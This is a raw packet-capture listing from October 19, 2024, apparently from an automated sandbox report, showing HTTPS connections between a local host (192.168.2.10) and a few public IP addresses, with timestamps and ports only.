Oct 19, 2024 00:14:19.369771004 CEST	49951	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.369776011 CEST	443	49951	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.465223074 CEST	443	49950	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.465308905 CEST	443	49950	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.465393066 CEST	49950	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.465744019 CEST	49950	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.465744019 CEST	49950	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.465773106 CEST	443	49950	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.465779066 CEST	443	49950	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.469077110 CEST	49953	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.469126940 CEST	443	49953	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.469208002 CEST	49953	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.469429016 CEST	49953	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.469451904 CEST	443	49953	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.473995924 CEST	443	49948	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.474087954 CEST	443	49948	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.474164963 CEST	49948	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.474395037 CEST	49948	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.474416971 CEST	443	49948	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.474436045 CEST	49948	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.474442005 CEST	443	49948	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.477065086 CEST	49954	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.477104902 CEST	443	49954	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.477231979 CEST	49954	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.477413893 CEST	49954	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.477433920 CEST	443	49954	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.490446091 CEST	443	49947	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.490473986 CEST	443	49947	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.490520000 CEST	443	49947	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.490537882 CEST	49947	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.490592003 CEST	49947	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.490817070 CEST	49947	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.490830898 CEST	443	49947	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.490864038 CEST	49947	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.490870953 CEST	443	49947	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.493642092 CEST	49955	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.493674994 CEST	443	49955	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.493846893 CEST	49955	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.493897915 CEST	49955	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.493902922 CEST	443	49955	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.497467041 CEST	443	49949	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.497494936 CEST	443	49949	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.497556925 CEST	443	49949	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.497665882 CEST	49949	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.497723103 CEST	49949	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.497740984 CEST	443	49949	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.497754097 CEST	49949	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.497761965 CEST	443	49949	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.500101089 CEST	49956	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.500122070 CEST	443	49956	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.500427961 CEST	49956	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.500576019 CEST	49956	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.500591993 CEST	443	49956	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.502314091 CEST	443	49951	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.503305912 CEST	443	49951	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.503395081 CEST	49951	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.503458023 CEST	49951	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.503458977 CEST	49951	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.503469944 CEST	443	49951	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.503479004 CEST	443	49951	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.505541086 CEST	49957	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.505563974 CEST	443	49957	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.505670071 CEST	49957	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.505786896 CEST	49957	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.505800962 CEST	443	49957	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.582734108 CEST	443	49952	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:19.583013058 CEST	49952	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:19.583029985 CEST	443	49952	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:19.584125996 CEST	443	49952	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:19.584194899 CEST	49952	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:19.585300922 CEST	49952	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:19.585359097 CEST	443	49952	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:19.585387945 CEST	49952	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:19.585483074 CEST	49952	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:19.585491896 CEST	443	49952	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:19.585500002 CEST	49952	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:19.585532904 CEST	49952	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:19.586141109 CEST	49958	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:19.586183071 CEST	443	49958	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:19.586250067 CEST	49958	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:19.586431980 CEST	49958	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:19.586448908 CEST	443	49958	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:19.850049019 CEST	49959	443	192.168.2.10	142.250.186.100
Oct 19, 2024 00:14:19.850101948 CEST	443	49959	142.250.186.100	192.168.2.10
Oct 19, 2024 00:14:19.850236893 CEST	49959	443	192.168.2.10	142.250.186.100
Oct 19, 2024 00:14:19.850508928 CEST	49959	443	192.168.2.10	142.250.186.100
Oct 19, 2024 00:14:19.850527048 CEST	443	49959	142.250.186.100	192.168.2.10
Oct 19, 2024 00:14:20.195314884 CEST	443	49953	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.197069883 CEST	49953	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.197089911 CEST	443	49953	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.197513103 CEST	49953	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.197518110 CEST	443	49953	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.199934959 CEST	443	49958	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:20.203253984 CEST	49958	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:20.203269958 CEST	443	49958	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:20.204426050 CEST	443	49958	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:20.204586029 CEST	49958	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:20.205729008 CEST	49958	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:20.205792904 CEST	443	49958	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:20.206600904 CEST	49958	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:20.225634098 CEST	443	49954	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.227891922 CEST	443	49955	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.229857922 CEST	49954	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.229876041 CEST	443	49954	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.230155945 CEST	443	49956	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.230588913 CEST	49954	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.230597019 CEST	443	49954	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.230921030 CEST	49956	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.230947018 CEST	443	49956	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.231357098 CEST	49956	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.231363058 CEST	443	49956	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.234622955 CEST	49955	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.234622955 CEST	49955	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.234637976 CEST	443	49955	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.234647036 CEST	443	49955	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.242636919 CEST	443	49957	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.243058920 CEST	49957	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.243071079 CEST	443	49957	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.243482113 CEST	49957	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.243489981 CEST	443	49957	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.247129917 CEST	49958	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:20.247139931 CEST	443	49958	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:20.294796944 CEST	49958	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:20.327795029 CEST	443	49953	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.327877045 CEST	443	49953	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.329791069 CEST	49953	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.331342936 CEST	49953	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.331363916 CEST	443	49953	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.331412077 CEST	49953	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.331418037 CEST	443	49953	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.340605974 CEST	49960	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.340645075 CEST	443	49960	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.342701912 CEST	49960	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.347517014 CEST	49960	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.347527981 CEST	443	49960	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.358006954 CEST	443	49954	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.358082056 CEST	443	49954	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.358671904 CEST	49954	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.360681057 CEST	443	49955	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.360755920 CEST	443	49955	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.360852957 CEST	49955	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.362699032 CEST	49954	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.362699032 CEST	49954	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.362715006 CEST	443	49954	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.362719059 CEST	443	49954	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.365705013 CEST	49955	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.365705013 CEST	49955	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.365729094 CEST	443	49955	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.365741014 CEST	443	49955	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.368285894 CEST	443	49956	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.368310928 CEST	443	49956	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.368360996 CEST	443	49956	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.368379116 CEST	49956	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.368412018 CEST	49956	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.369550943 CEST	49956	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.369570017 CEST	443	49956	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.369585991 CEST	49956	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.369592905 CEST	443	49956	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.374350071 CEST	49961	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.374356031 CEST	443	49957	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.374392033 CEST	443	49961	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.374430895 CEST	443	49957	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.374469995 CEST	49961	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.374494076 CEST	49957	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.374800920 CEST	49961	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.374815941 CEST	443	49961	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.377674103 CEST	49962	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.377690077 CEST	443	49962	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.377909899 CEST	49957	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.377928019 CEST	443	49957	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.377948999 CEST	49962	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.386960030 CEST	49962	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.386986017 CEST	443	49962	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.389070034 CEST	49963	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.389101028 CEST	443	49963	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.389877081 CEST	49963	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.390064955 CEST	49963	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.390083075 CEST	443	49963	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.390799046 CEST	49964	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.390840054 CEST	443	49964	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.390917063 CEST	49964	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.390995026 CEST	49964	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:20.391016006 CEST	443	49964	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:20.720002890 CEST	443	49959	142.250.186.100	192.168.2.10
Oct 19, 2024 00:14:20.722883940 CEST	49959	443	192.168.2.10	142.250.186.100
Oct 19, 2024 00:14:20.722904921 CEST	443	49959	142.250.186.100	192.168.2.10
Oct 19, 2024 00:14:20.723947048 CEST	443	49959	142.250.186.100	192.168.2.10
Oct 19, 2024 00:14:20.724008083 CEST	49959	443	192.168.2.10	142.250.186.100
Oct 19, 2024 00:14:20.725037098 CEST	49959	443	192.168.2.10	142.250.186.100
Oct 19, 2024 00:14:20.725119114 CEST	443	49959	142.250.186.100	192.168.2.10
Oct 19, 2024 00:14:20.778562069 CEST	49959	443	192.168.2.10	142.250.186.100
Oct 19, 2024 00:14:20.778594971 CEST	443	49959	142.250.186.100	192.168.2.10
Oct 19, 2024 00:14:20.825732946 CEST	49959	443	192.168.2.10	142.250.186.100
Oct 19, 2024 00:14:21.077625036 CEST	443	49960	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.078094959 CEST	49960	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.078114033 CEST	443	49960	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.078561068 CEST	49960	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.078572035 CEST	443	49960	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.125421047 CEST	443	49961	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.125894070 CEST	49961	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.125935078 CEST	443	49961	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.126347065 CEST	49961	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.126359940 CEST	443	49961	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.137315989 CEST	443	49962	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.137334108 CEST	443	49964	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.137995958 CEST	49962	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.138021946 CEST	443	49962	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.138947010 CEST	49962	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.138958931 CEST	443	49962	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.139389038 CEST	49964	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.139406919 CEST	443	49964	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.139863968 CEST	49964	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.139870882 CEST	443	49964	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.145400047 CEST	443	49963	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.145740032 CEST	49963	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.145759106 CEST	443	49963	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.146136045 CEST	49963	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.146143913 CEST	443	49963	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.262072086 CEST	443	49961	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.262161016 CEST	443	49961	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.262249947 CEST	49961	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.262562990 CEST	49961	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.262590885 CEST	443	49961	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.262605906 CEST	49961	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.262612104 CEST	443	49961	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.268480062 CEST	49965	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.268517971 CEST	443	49965	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.268590927 CEST	49965	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.268837929 CEST	49965	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.268857002 CEST	443	49965	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.273225069 CEST	443	49964	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.273298025 CEST	443	49962	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.273324013 CEST	443	49962	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.273366928 CEST	443	49962	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.273371935 CEST	49962	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.273411036 CEST	49962	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.273441076 CEST	443	49964	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.273478031 CEST	49962	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.273482084 CEST	443	49964	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.273488998 CEST	443	49962	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.273507118 CEST	49964	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.273509026 CEST	49962	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.273514032 CEST	443	49962	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.273539066 CEST	49964	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.273744106 CEST	49964	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.273744106 CEST	49964	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.273763895 CEST	443	49964	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.273775101 CEST	443	49964	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.277553082 CEST	49966	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.277565956 CEST	443	49966	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.277622938 CEST	49966	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.277781963 CEST	49966	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.277793884 CEST	443	49966	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.278444052 CEST	49967	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.278475046 CEST	443	49967	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.278688908 CEST	49967	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.278762102 CEST	49967	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.278772116 CEST	443	49967	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.283747911 CEST	443	49963	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.283818007 CEST	443	49963	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.283854961 CEST	49963	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.284240007 CEST	49963	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.284255028 CEST	443	49963	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.284270048 CEST	49963	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.284276962 CEST	443	49963	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.286567926 CEST	49968	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.286592007 CEST	443	49968	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.286689043 CEST	49968	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.287055969 CEST	49968	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.287065029 CEST	443	49968	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.358618021 CEST	443	49960	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.358650923 CEST	443	49960	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.358706951 CEST	49960	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.358710051 CEST	443	49960	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.358756065 CEST	49960	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.359158993 CEST	49960	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.359179974 CEST	443	49960	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.359190941 CEST	49960	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.359199047 CEST	443	49960	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.363297939 CEST	49969	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.363354921 CEST	443	49969	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:21.363580942 CEST	49969	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.363723993 CEST	49969	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:21.363740921 CEST	443	49969	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.014518023 CEST	443	49965	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.016145945 CEST	49965	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.016179085 CEST	443	49965	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.016590118 CEST	49965	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.016599894 CEST	443	49965	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.020103931 CEST	443	49968	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.020730972 CEST	49968	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.020761967 CEST	443	49968	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.021230936 CEST	49968	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.021236897 CEST	443	49968	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.030728102 CEST	443	49967	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.031652927 CEST	49967	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.031672001 CEST	443	49967	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.032392025 CEST	49967	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.032408953 CEST	443	49967	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.037327051 CEST	443	49966	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.037848949 CEST	49966	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.037877083 CEST	443	49966	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.038587093 CEST	49966	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.038592100 CEST	443	49966	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.107661009 CEST	443	49969	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.115896940 CEST	49969	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.115940094 CEST	443	49969	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.116373062 CEST	49969	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.116379976 CEST	443	49969	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.151000977 CEST	443	49965	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.151071072 CEST	443	49965	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.151223898 CEST	49965	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.151374102 CEST	49965	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.151374102 CEST	49965	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.151400089 CEST	443	49965	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.151411057 CEST	443	49965	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.151609898 CEST	443	49968	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.151709080 CEST	443	49968	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.151755095 CEST	443	49968	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.151799917 CEST	49968	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.151799917 CEST	49968	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.151848078 CEST	49968	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.151865005 CEST	443	49968	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.156660080 CEST	49970	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.156704903 CEST	443	49970	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.156771898 CEST	49970	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.157129049 CEST	49971	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.157130957 CEST	49970	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.157144070 CEST	443	49970	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.157160044 CEST	443	49971	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.157296896 CEST	49971	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.157298088 CEST	49971	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.157334089 CEST	443	49971	13.107.246.45	192.168.2.10
